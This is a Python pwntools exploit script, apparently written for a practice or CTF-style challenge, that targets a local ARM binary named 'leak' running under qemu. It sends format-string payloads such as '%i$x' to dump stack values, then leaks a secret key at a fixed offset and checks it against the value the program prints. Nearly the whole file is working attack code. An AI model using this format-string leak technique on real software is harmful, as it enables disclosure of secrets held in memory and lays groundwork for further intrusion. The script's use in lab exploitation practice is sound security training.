from pwn import *

# Configuration
context.arch = 'arm'
context.log_level = 'debug'

def leak_key():
    """
    First phase: Leak the stack contents to find the correct offset
    """
    p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', './leak'])
    
    # Get the key address
    p.recvuntil(b"Key address: ")
    key_addr = int(p.recvline().strip(), 16)
    log.success(f"Key address: {hex(key_addr)}")
    
    # Construct payload to leak stack contents
    payload = b""
    # Check first 20 stack positions
    for i in range(1, 20):
        payload += f"%{i}$x.".encode()  # Use %x to print values in hexadecimal
    
    p.sendlineafter(b"Input your string: ", payload)
    
    # Receive and analyze output
    p.recvuntil(b"Echo: ")
    leak = p.recvuntil(b"Real", drop=True).decode()
    log.info("Stack dump:")
    
    # Analyze leaked data
    values = leak.split('.')
    for i, val in enumerate(values, 1):
        if val.strip():
            log.info(f"Offset {i}: {val}")
    
    p.close()
    return values

def exploit():
    """
    Main exploit function
    """
    # Phase 1: Leak stack to find offset
    log.info("Phase 1: Leaking stack to find offset...")
    leaked_values = leak_key()
    
    log.info("Phase 2: Leaking the key with correct offset...")
    # Now that we know the correct offset, construct precise payload
    p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', './leak'])
    
    # Get key address (for verification)
    p.recvuntil(b"Key address: ")
    key_addr = int(p.recvline().strip(), 16)
    
    # Use the found correct offset to construct final payload
    offset = 5  # This value needs to match the offset where the key was found
    payload = f"%{offset}$x".encode()
    
    p.sendlineafter(b"Input your string: ", payload)
    
    # Receive leaked key
    p.recvuntil(b"Echo: ")
    leaked_key = p.recvline().strip()
    log.success(f"Leaked key: {leaked_key.decode()}")
    
    # Receive actual key value for verification
    p.recvuntil(b"Real key value: ")
    real_key = p.recvline().strip()
    log.success(f"Real key value: {real_key.decode()}")
    
    # Verify if leak was successful
    if leaked_key == real_key[2:]:  # Note: real_key includes "0x" prefix, need to remove for comparison
        log.success("Key leaked successfully!")
    else:
        log.failure("Key leak failed. Adjust the offset and try again.")
        log.info(f"Expected: {real_key[2:]}")
        log.info(f"Got: {leaked_key.decode()}")
    
    p.close()

if __name__ == "__main__":
    exploit()